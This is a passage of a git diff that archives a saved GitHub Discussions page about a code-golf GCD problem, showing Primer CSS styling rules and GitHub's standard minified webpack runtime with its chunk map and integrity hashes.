16px;font-size:12px;color:var(--color-fg-muted);text-align:center;border-top:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-footer{padding:7px 16px}}.SelectMenu--hasFilter .SelectMenu-modal{height:80%;max-height:none;margin-top:0}@media(min-width: 544px){.SelectMenu--hasFilter .SelectMenu-modal{height:auto;max-height:480px;margin-top:8px}}.SelectMenu-closeButton:focus,.SelectMenu-tab:focus,.SelectMenu-item:focus{outline:0}.SelectMenu-item:hover{text-decoration:none}.SelectMenu-item[aria-checked=true]{font-weight:500;color:var(--color-fg-default)}.SelectMenu-item[aria-checked=true] .SelectMenu-icon--check{visibility:visible;transition:transform .12s cubic-bezier(0, 0, 0.2, 1),visibility 0s linear;transform:scale(1)}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-primer-fg-disabled);pointer-events:none}@media(hover: hover){body:not(.intent-mouse) .SelectMenu-closeButton:focus,.SelectMenu-closeButton:hover{color:var(--color-fg-default)}.SelectMenu-closeButton:active{color:var(--color-fg-muted)}body:not(.intent-mouse) .SelectMenu-item:focus,.SelectMenu-item:hover{background-color:var(--color-neutral-subtle)}.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}body:not(.intent-mouse) .SelectMenu-tab:focus{background-color:var(--color-select-menu-tap-focus-bg)}.SelectMenu-tab:hover{color:var(--color-fg-default)}.SelectMenu-tab:not([aria-selected=true]):active{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}}@media(hover: none){.SelectMenu-item:focus,.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}.SelectMenu-item{-webkit-tap-highlight-color:var(--color-select-menu-tap-highlight)}}.Subhead{display:flex;padding-bottom:8px;margin-bottom:16px;border-bottom:1px solid var(--color-border-muted);flex-flow:row wrap;justify-content:flex-end}.Subhead--spacious{margin-top:40px}.Subhead-heading{font-size:24px;font-weight:400;flex:1 1 auto;order:0}.Subhead-heading--danger{font-weight:600;color:var(--color-danger-fg)}.Subhead-description{font-size:14px;color:var(--color-fg-muted);flex:1 100%;order:2}.Subhead-actions{margin:4px 0 4px 4px;align-self:center;justify-content:flex-end;order:1}.Subhead-actions+.Subhead-description{margin-top:4px}.TimelineItem{position:relative;display:flex;padding:16px 0;margin-left:16px}.TimelineItem::before{position:absolute;top:0;bottom:0;left:0;display:block;width:2px;content:"";background-color:var(--color-border-muted)}.TimelineItem:target .TimelineItem-badge{border-color:var(--color-accent-emphasis);box-shadow:0 0 .2em var(--color-accent-muted)}.TimelineItem-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-15px;color:var(--color-fg-muted);align-items:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.TimelineItem-badge--success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.TimelineItem-body{min-width:0;max-width:100%;margin-top:4px;color:var(--color-fg-muted);flex:auto}.TimelineItem-avatar{position:absolute;left:-72px;z-index:1}.TimelineItem-break{position:relative;z-index:1;height:24px;margin:0;margin-bottom:-16px;margin-left:-56px;background-color:var(--color-canvas-default);border:0;border-top:4px solid var(--color-border-default)}.TimelineItem--condensed{padding-top:4px;padding-bottom:0}.TimelineItem--condensed:last-child{padding-bottom:16px}.TimelineItem--condensed .TimelineItem-badge{height:16px;margin-top:8px;margin-bottom:8px;color:var(--color-fg-muted);background-color:var(--color-canvas-default);border:0}.Toast{display:flex;margin:8px;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-radius:6px;box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}@media(min-width: 544px){.Toast{width:max-content;max-width:450px;margin:16px}}.Toast-icon{display:flex;align-items:center;justify-content:center;width:48px;flex-shrink:0;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border:1px solid transparent;border-right:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit}.Toast-content{padding:16px}.Toast-dismissButton{max-height:54px;padding:16px;color:inherit;background-color:transparent;border:0}.Toast-dismissButton:hover{opacity:.7}.Toast-dismissButton:active{opacity:.5}.Toast--loading{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--loading .Toast-icon{background-color:var(--color-neutral-emphasis)}.Toast--error{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--error .Toast-icon{background-color:var(--color-danger-emphasis)}.Toast--warning{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--warning .Toast-icon{background-color:var(--color-attention-emphasis)}.Toast--success{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--success .Toast-icon{background-color:var(--color-success-emphasis)}.Toast--animateIn{animation:Toast--animateIn .18s cubic-bezier(0.22, 0.61, 0.36, 1) backwards}@keyframes Toast--animateIn{0%{opacity:0;transform:translateY(100%)}}.Toast--animateOut{animation:Toast--animateOut .18s cubic-bezier(0.55, 0.06, 0.68, 0.19) forwards}@keyframes Toast--animateOut{100%{pointer-events:none;opacity:0;transform:translateY(100%)}}.Toast--spinner{animation:Toast--spinner 1000ms linear infinite}@keyframes Toast--spinner{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ToggleSwitch.ToggleSwitch{display:inline-flex}.ToggleSwitch{align-items:center;display:inline-flex;gap:8px}.ToggleSwitch:hover .ToggleSwitch-knob{background-color:var(--color-btn-hover-bg)}.ToggleSwitch:active .ToggleSwitch-knob{background-color:var(--color-btn-active-bg)}.ToggleSwitch--checked .ToggleSwitch-statusOn{height:auto;visibility:visible}.ToggleSwitch--checked .ToggleSwitch-statusOff{height:0;visibility:hidden}.ToggleSwitch-track{position:relative;display:block;width:64px;height:32px;padding:0;overflow:hidden;text-decoration:none;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:var(--color-switch-track-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:background-color,border-color;-webkit-appearance:none;appearance:none}.ToggleSwitch-track:focus,.ToggleSwitch-track:focus-visible{outline-offset:0}@media(pointer: coarse){.ToggleSwitch-track::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:44px;content:"";transform:translateX(-50%) translateY(-50%)}}@media(prefers-reduced-motion){.ToggleSwitch-track{transition:none}.ToggleSwitch-track *{transition:none}}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]{background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active{background-color:var(--color-canvas-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true]{background-color:var(--color-switch-track-checked-bg);border-color:var(--color-switch-track-checked-border)}.ToggleSwitch-track[aria-checked=true]:hover{background-color:var(--color-switch-track-checked-hover-bg)}.ToggleSwitch-track[aria-checked=true]:active{background-color:var(--color-switch-track-checked-active-bg)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-bg);border:0;transform:translateX(calc(100% + 1px))}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-lineIcon{transform:translateX(0%)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-circleIcon{transform:translateX(100%)}.ToggleSwitch-track[aria-disabled=true]{cursor:not-allowed;background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle);transition-property:none}.ToggleSwitch-track[aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob{border-color:var(--color-border-default);box-shadow:none}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:hover,.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:active{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-lineIcon{color:var(--color-fg-subtle)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-circleIcon{color:var(--color-fg-subtle)}.ToggleSwitch-icons{display:flex;align-items:center;width:100%;height:100%;overflow:hidden}.ToggleSwitch-lineIcon{line-height:0;color:var(--color-accent-fg);transition-duration:80ms;transition-property:transform;transform:translateX(-100%);flex:1 0 50%}.ToggleSwitch-circleIcon{line-height:0;color:var(--color-fg-default);transition-duration:80ms;transition-property:transform;transform:translateX(0);flex:1 0 50%}.ToggleSwitch-knob{position:absolute;top:-1px;bottom:-1px;z-index:1;width:50%;background-color:var(--color-btn-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;box-shadow:var(--color-shadow-medium),var(--color-btn-inset-shadow);transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:transform;transform:translateX(-1px)}@media(prefers-reduced-motion){.ToggleSwitch-knob{transition:none}}.ToggleSwitch-status{position:relative;font-size:14px;line-height:1.5;color:var(--color-fg-default);text-align:right}.ToggleSwitch--small .ToggleSwitch-status{font-size:12px}.ToggleSwitch--small .ToggleSwitch-track{width:48px;height:24px}.ToggleSwitch--disabled .ToggleSwitch-status{color:var(--color-fg-muted)}.ToggleSwitch-statusOn{height:0;visibility:hidden}.ToggleSwitch-statusOff{height:auto;visibility:visible}.ToggleSwitch--statusAtEnd{flex-direction:row-reverse}.ToggleSwitch--statusAtEnd .ToggleSwitch-status{text-align:left} + +/*# sourceMappingURL=primer-048cfb03804d.css.map*/ \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js new file mode 100644 index 0000000..3c9544b --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js @@ -0,0 +1,4 @@ +(()=>{var S=Object.defineProperty;var u=(g,b)=>S(g,"name",{value:b,configurable:!0});(()=>{"use strict";var g={},b={};function t(e){var o=b[e];if(o!==void 0)return o.exports;var _=b[e]={id:e,loaded:!1,exports:{}};return g[e].call(_.exports,_,_.exports,t),_.loaded=!0,_.exports}u(t,"__webpack_require__"),t.m=g,(()=>{var e=[];t.O=(o,_,a,n)=>{if(_){n=n||0;for(var s=e.length;s>0&&e[s-1][2]>n;s--)e[s]=e[s-1];e[s]=[_,a,n];return}for(var p=1/0,s=0;s=n)&&Object.keys(t.O).every(H=>t.O[H](_[i]))?_.splice(i--,1):(r=!1,n{var o=e&&e.__esModule?()=>e.default:()=>e;return t.d(o,{a:o}),o},(()=>{var e=Object.getPrototypeOf?_=>Object.getPrototypeOf(_):_=>_.__proto__,o;t.t=function(_,a){if(a&1&&(_=this(_)),a&8||typeof _=="object"&&_&&(a&4&&_.__esModule||a&16&&typeof _.then=="function"))return _;var n=Object.create(null);t.r(n);var s={};o=o||[null,e({}),e([]),e(e)];for(var p=a&2&&_;typeof p=="object"&&!~o.indexOf(p);p=e(p))Object.getOwnPropertyNames(p).forEach(r=>s[r]=()=>_[r]);return s.default=()=>_,t.d(n,s),n}})(),t.d=(e,o)=>{for(var _ in o)t.o(o,_)&&!t.o(e,_)&&Object.defineProperty(e,_,{enumerable:!0,get:o[_]})},t.f={},t.e=e=>Promise.all(Object.keys(t.f).reduce((o,_)=>(t.f[_](e,o),o),[])),t.u=e=>e==="vendors-node_modules_selector-observer_dist_index_esm_js"?""+e+"-8a8fb532f817.js":e==="vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"?""+e+"-c86dedecba6d.js":e==="vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"?""+e+"-3878570f122b.js":e==="app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"?""+e+"-b9402c4f55ed.js":e==="vendors-node_modules_lit-html_lit-html_js"?""+e+"-ba8ef7c9465c.js":e==="vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"?""+e+"-338b7b65f61e.js":e==="vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"?""+e+"-12cdb93781b2.js":e==="vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"?""+e+"-d2bd677ffadf.js":e==="app_assets_modules_github_behaviors_pjax_ts"?""+e+"-9f84f27e2e5c.js":e==="vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"?""+e+"-e5871d6341d9.js":e==="vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"?""+e+"-c50ba3159c37.js":e==="vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"?""+e+"-316d55757fd3.js":e==="vendors-node_modules_codemirror_lib_codemirror_js"?""+e+"-0e675a3cbbdb.js":e==="vendors-node_modules_three_build_three_module_js"?""+e+"-d26576a099b1.js":e==="vendors-node_modules_dompurify_dist_purify_js"?""+e+"-0677fca37991.js":"chunk-"+e+"-"+{"vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"ffef934f6d1e","vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js":"20ded1c3f9b2","_empty-file_js-app_assets_modules_github_tweetsodium_ts":"570800e4a58c","app_assets_modules_github_jump-to_ts":"9bb6962425bc","app_assets_modules_github_user-status-submit_ts":"b84397a4ac61","vendors-node_modules_github_blackbird-parser_dist_blackbird_js":"edcc67677b51","app_components_search_parsing_parsing_ts-_b3651":"aa493d973ae3","app_assets_modules_github_sortable-behavior_ts":"cd5461703766","app_components_accessibility_animated-image-element_ts":"94f17dc1685d","app_components_account_verifications_launch-code-element_ts":"d0fd2937b212","app_components_advisories_metric-selection-element_ts":"4daf4af581d1","app_components_advisories_severity-calculator-element_ts":"420add2d60b0","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52":"27a93e9feadc","app_components_branch_create-branch-element_ts":"47c73f958638","app_components_code_scanning_alert-dismissal-details-element_ts":"bfe6b385324e","app_components_codespaces_advanced_options_sku-list-element_ts":"ceaa5115fdcc","app_components_codespaces_create-button-element_ts":"d1ca5c6d0c0b","app_components_command_palette_command-palette-page-element_ts":"529a5c0079af","app_components_command_palette_command-palette-page-stack-element_ts":"51f9b6fbafdf","app_components_diffs_deferred-diff-lines-element_ts":"74cc226b15d7","app_components_files_readme-toc-element_ts":"1e5835991a94","app_components_github_delayed-loading-element_ts":"f1de276bb7aa","app_components_github_feature-callout-element_ts":"2e2e8020e6ac","app_components_issues_reopen-button-element_ts":"8528a7c35aa7","app_components_mathjax_math-renderer-element_ts":"b9b794ce9879","app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts":"d970b5ecb0bb","app_components_organizations_settings_codespaces-policy-form-element_ts":"1e572db4e753","app_components_organizations_settings_features_insights-form-element_ts":"fb80816ea539","app_components_primer_action_list_action-list-element_ts":"79601d8e2624","app_components_primer_action_menu_action-menu-element_ts":"c2ea03248767","app_components_primer_experimental_toggle-switch-element_ts":"bc0f9dc31330","app_components_primer_modal_dialog_iterate-focusable-elements_ts":"c9e90cad64bc","app_components_primer_modal_dialog_modal-dialog-element_ts":"191000849018","app_components_pull_requests_file_tree_file-filter-element_ts":"832274f35bf2","app_components_pull_requests_file_tree_file-tree-element_ts":"f3152f4f0a04","app_components_pull_requests_file_tree_file-tree-toggle-element_ts":"ef3d053b90c4","app_components_repos_alerts_dependabot-alert-row-element_ts":"4b2c2c17a666","app_components_repos_alerts_dependabot-alert-table-header-element_ts":"7a8a0e5e816e","app_components_repositories_memex_memex-project-picker-element_ts":"53ed3ef415f5","app_components_repositories_pin-organization-repo-element_ts":"8169732f40ca",app_components_search_parsing_common_ts:"669dbaaac99c","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067":"10d0e2f3411a","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c":"2e9a9b96b433","app_components_search_search-input-element_ts":"c662cde7b457",app_components_search_suggestions_blackbird_ts:"9d3f0b9a1660","app_components_search_suggestions_custom-scopes_ts":"df25852e3ad8",app_components_search_suggestions_default_ts:"1e7083750a58","app_components_search_suggestions_fixed-qualifiers_ts":"f3da35af54f7",app_components_search_suggestions_history_ts:"5b7778d3b8d2",app_components_search_suggestions_languages_ts:"f8f91a6927a5","node_modules_delegated-events_dist_index_js":"a5f42cedc533",app_components_search_suggestions_suggestions_ts:"07b36587481e",app_components_search_suggestions_types_ts:"916e3d8c45b4","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e":"625e7dd04142","app_components_sidebar_project-picker-element_ts":"a7445ee5bcf3","app_components_slash_commands_slash-command-toolbar-button-element_ts":"447765607cc3","vendors-node_modules_chart_js_dist_chart_esm_js":"6cff96b2b76c","app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts":"5b02ffbbc782","app_components_stafftools_turbo_turbo-staffbar-element_ts":"22fa02e1f021","app_components_stafftools_turbo_turbo-staffbar-preview-element_ts":"302a5111f0a7","app_components_themed_pictures_themed-picture-element_ts":"9f2cc0c8b0fc","app_components_tracking_blocks_tracking-block-api_ts":"d2edfcc3fd5a","app_components_tracking_blocks_tracking-block-element_ts":"1bf94db855a2","app_components_tracking_blocks_tracking-block-omnibar-element_ts":"f776363d9b1c","app_assets_modules_github_profile_profile-pins-element_ts":"3f9eaf9c1f60","app_assets_modules_github_emoji-picker-element_ts":"5eb690ad8ba2","app_assets_modules_github_behaviors_edit-hook-secret-element_ts":"5517e7abe783","app_assets_modules_github_insights_insights-query_ts":"1d49b290a0a9","app_assets_modules_github_behaviors_remote-clipboard-copy_ts":"5ec315b1456a","app_assets_modules_github_insights_series-table_ts":"88c40e967d3d","vendors-node_modules_github_base-chart-element_dist_base-chart_js":"527a851d4dfc","app_assets_modules_github_insights_line-chart_ts":"ea9f86c8b7ce","app_assets_modules_github_insights_bar-chart_ts":"79b8bed29df1","app_assets_modules_github_insights_column-chart_ts":"5086ae8267a3","app_assets_modules_github_insights_stacked-area-chart_ts":"f2b10cc42f1b","app_assets_modules_github_presence_presence-avatars_ts":"68eea861e2bd","app_assets_modules_github_graphs_pulse-authors-graph-element_ts":"555a0a12a2af","app_assets_modules_github_stacks_stacks-input-config-view_ts":"52b337e4e085","app_assets_modules_github_graphs_community-contributions_ts":"d1497b6d575f","app_assets_modules_github_graphs_discussion-page-views_ts":"b7b14d0a8e16","app_assets_modules_github_graphs_discussions-daily-contributors_ts":"ae3978791f6f","app_assets_modules_github_graphs_discussions-new-contributors_ts":"b53affc543a7","app_assets_modules_github_graphs_code-frequency-graph-element_ts":"bb79cb796c54","vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js":"cb8dab829171","vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158":"b1f74f8aa268","app_assets_modules_github_graphs_contributors-graph-element_ts":"618c49878ee2","vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834":"b4d52f496960","app_assets_modules_github_graphs_org-insights-graph-element_ts":"ffb02396dbf4","app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25":"9d80281b1f30","app_assets_modules_github_graphs_traffic-clones-graph-element_ts":"cd2424a12f84","app_assets_modules_github_graphs_traffic-visitors-graph-element_ts":"0d5b216bec91","app_assets_modules_github_graphs_commit-activity-graph-element_ts":"1c205baacb3b","app_assets_modules_github_graphs_marketplace-insights-graph-element_ts":"6e57a35fbc19","vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d":"1bf929bb3d58","app_assets_modules_github_settings_user-sessions-map-element_ts":"38e2fd1a876f","app_assets_modules_github_behaviors_reload-after-polling-element_ts":"0383e1293fe8","app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts":"4ba70be83c34",app_assets_modules_github_dependencies_ts:"9edfce444edb","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9":"c308a504a500","app_assets_modules_github_graphs_network-graph-element_ts":"4e7d9dc97c14","app_assets_modules_github_business-audit-log-map-element_ts":"48ea5be979d9","app_assets_modules_github_localization_inline-machine-translation-element_ts":"203846088225","app_assets_modules_github_gist_drag-drop_ts":"83cc70a31603","app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts":"e6b2becb5f85","app_assets_modules_github_profile_contributions-spider-graph_ts":"9823b871480c","app_assets_modules_github_webgl-warp_ts":"8d34dd71e14f","vendors-node_modules_mathjax_es5_tex-chtml-full_js":"e458fb3fc4c8","app_components_search_parsing_parsing_ts-_b3650":"0b181ac6599e"}[e]+".js",t.g=function(){if(typeof globalThis=="object")return globalThis;try{return this||new Function("return this")()}catch{if(typeof window=="object")return window}}(),t.o=(e,o)=>Object.prototype.hasOwnProperty.call(e,o),(()=>{var e={};t.l=(o,_,a,n)=>{if(e[o]){e[o].push(_);return}var s,p;if(a!==void 0)for(var r=document.getElementsByTagName("script"),i=0;i{s.onerror=s.onload=null,clearTimeout(m);var H=e[o];if(delete e[o],s.parentNode&&s.parentNode.removeChild(s),H&&H.forEach(f=>f(h)),c)return c(h)},"onScriptComplete"),m=setTimeout(d.bind(null,void 0,{type:"timeout",target:s}),12e4);s.onerror=d.bind(null,s.onerror),s.onload=d.bind(null,s.onload),p&&document.head.appendChild(s)}})(),t.r=e=>{typeof Symbol!="undefined"&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.nmd=e=>(e.paths=[],e.children||(e.children=[]),e),(()=>{var e;t.g.importScripts&&(e=t.g.location+"");var o=t.g.document;if(!e&&o&&(o.currentScript&&(e=o.currentScript.src),!e)){var _=o.getElementsByTagName("script");_.length&&(e=_[_.length-1].src)}if(!e)throw new Error("Automatic publicPath is not supported in this browser");e=e.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),t.p=e})(),t.sriHashes={"vendors-node_modules_selector-observer_dist_index_esm_js":"sha512-io+1MvgXPXTw8Kp4eOdNMJl8uGASuw8VfTY5VeIFETaAknimWi8GoxggMEeQ6mq0de4Dest4iIJ/9gUbCo0hgw==","vendors-node_modules_lit-html_lit-html_js":"sha512-uo73yUZcm4EicwjSbfxFZcKfjWniOxhLBp+q1n7IFRfutFM6/lzbQMgD0Xrxp7QD1HzqdvrV8UclPhi3mEOyzQ==","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe":"sha512-Es25N4GyPa8Yfp5wpahoe5b2fyPtkRMyR6mKIXyCJC0ocqQazeWvxhGZhx3StRxOfqDfHDR5SS35u/R3Wux6Cg==","vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js":"sha512-yG3t7Lpt5yKkdMNXFpl75Xemm+g4ghZ5e8xRBwl/HMbmgc3htVvxrjbohbK9MMfnnci1SnogZNH9DhJHYdQf3A==",app_assets_modules_github_behaviors_pjax_ts:"sha512-n4Tyfi5c/uwygTjsnha2QyN3+RMC8XNjYdlbvspiE6fN9tdKgsapC36CztCZX31jUoPvHY3HPpR4MaU5JZhs5Q==","vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"sha512-/++TT20eDLJNbF6hqcRE9Wk74AtUzJG26xP07mzhzLv81OuyBTpNhkbEMVXmzfGvVNFtdNW9+++nRzBrRDvE0w==","app_assets_modules_github_sortable-behavior_ts":"sha512-zVRhcDdmBJSH4u1VshV0m1Xv/MsVY8gEDm/mDjd2JuMmKVGL4XI6xXxteqHwrdcrnnxovc5cvbic9Ryndq0R5w==","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e":"sha512-Yl590EFCC9Ai3oBOBPGHHnFk/m1dfRZ36ed6B/COnfIrFsgDBfXJZNd3tJ4MkFqHRJkz6iaG5/8Tz1t2xgW8+Q==","app_components_sidebar_project-picker-element_ts":"sha512-p0Re5bzz6wRFJRIv2VOMGO7ZF4y1038S3tnivDySJ9vmnXsqZgZnyep/CNT8sOD3eVgHZV7OSZ8Lw9RDD1MR7g==","vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4":"sha512-xQujFZw3phJWVoaFFnQwaUyge4dMBCYeIUJTBis12/Ml14pFxb8mK5nHxiVAkDFkky5Pbpgim21NSklHDKAb+w==","vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f":"sha512-MW1VdX/TnBLsISJzPGBKrpMGPFCdyiVSOGVtEbLeTm7Fx9bBeaZs2ImvCoHgtthCiRH+x3TfmUa/vcUep1gqCg==","app_assets_modules_github_graphs_code-frequency-graph-element_ts":"sha512-u3nLeWxUBoYrHeCgWzlGQ79rCQhTxl87+1tiMjBXnIfEJycCoOQepZgYrThfBpBZY3LTSx3+6yIkav2e1U12iw==","vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js":"sha512-y42rgpFxP1DbK0bNhHyC8fOOU/1Ip2CmKZy2zlG+aMUOcpqlghWSqkQG2nqjNMc9WBAwHLvhrqiwlpoBLgZb9A==","app_assets_modules_github_graphs_commit-activity-graph-element_ts":"sha512-HCBbqss74mhyMQ3mPLklYK1fsZcOHMHxgL7ArjS7NDXVTnhT+qNy+SlLMuMRPlnhZRxwqpkcgUnx6/CVvY60lw==","vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d":"sha512-G/kpuz1Y16Gg/ijNaeSkjiKtLLZzEFA3+fEJfh+mIJo3Af574OKPX0TauHXITa8Dxh+kcghjj+0o4z5lFlGObg==","app_assets_modules_github_settings_user-sessions-map-element_ts":"sha512-OOL9GodvJHHJLcmfT5ZTcqw4f+l7WpsTBHCY4u8oMfNNgJS0SEtzPOStE+gy2yM79MnNc8e0F+jbjVdxm5plcA==","vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158":"sha512-sfdPiqJoHzuwsvJhwKkgvs2ORgo6jTHJsVICMbtg9XpZ1jFUjJ4PcpUdJcP7kGcDTxx1uAl2kHM9WP9wKiVZig==","app_assets_modules_github_graphs_contributors-graph-element_ts":"sha512-YYxJh47iVfa6diFGp5WHAAhsomGVI3YrbiNQegkWYUIdrgjTisTgIB9zXXzf4O6EhhJZaRP1xkM+OyB9vYJg9A==","vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834":"sha512-tNUvSWlgjIZmBlPGQ3msqznE4PSnmZbtFa7qe9sCGk71/6p68EWe4OTAn12Fi2ZWXYNvDyyhk8O0O0gERhydUA==","app_assets_modules_github_graphs_org-insights-graph-element_ts":"sha512-/7Ajltv0nihK1C8QqPLAf3wLPb+g2BZ1+ZanvA4rgfxzeihWBG/Pam5w/vIyzM7wldR0zbppLqHico7qFPJlYQ==","app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25":"sha512-nYAoGx8wM30ijAeF0zslV4kcJ7R4eyvHgcGZOOaaWcD5qqyouCNfMllcjpqNraR4ISYgOsOiTo0grDVI5bLMPw==","app_assets_modules_github_graphs_traffic-visitors-graph-element_ts":"sha512-DVsha+yRaHOjbnQYydgODDJQq9yq+X+mCpLn8TcGYC3a54kgIltVVMkhzZZNOURANZrjt5oVsZV54PJpMUFhsg==","app_assets_modules_github_graphs_marketplace-insights-graph-element_ts":"sha512-blejX7wZ3Oja/MyVCPGTZHkfDJ0d9BzFKckiceGe5V2K2OalBY/8yfZ1ZTAZ674vkTjVV2vpbUvv6jT024fNLg==","app_assets_modules_github_graphs_traffic-clones-graph-element_ts":"sha512-zSQkoS+Ecd0ThM28UZgkKVkfwvhxCP870evuOL2gIyKXXgQZsdemryjaFTzFx5MW/DzAF3dIGB9WaASz4ZTRqw==","app_assets_modules_github_graphs_pulse-authors-graph-element_ts":"sha512-VVoKEqKvdHS+7sRbqSXVI1Ydd5bgh1za2iWXVUfxll8XM0TCWV+caUJWS3WIXMv4QcIbJt3Z8MHNNkJ4OBSPfg==","app_assets_modules_github_graphs_community-contributions_ts":"sha512-0Ul7bVdfZe37M5Mv8AnyWlofiNhRk2KiKRC5LjHx525dGsQGiv0ril0peu07kiISvMmsoKLHquXGlwzRb8zC3g==","app_assets_modules_github_graphs_discussion-page-views_ts":"sha512-t7FNCo4WvrktOQJX4hCR/uP+NWKixEIeRvz9AymhF8de4Bq5j3lEJOrDoMt3qlticFAB6zU8ENgR5491BHlcQw==","app_assets_modules_github_graphs_discussions-daily-contributors_ts":"sha512-rjl4eR9vdjojHgR9jEhzV4RFpbup5fQQHr+EA2q5eTz60Ivy43c0AZmu4ndPP3DQdU3/IHHt4MaYnaJ5i3D+TQ==","app_assets_modules_github_graphs_d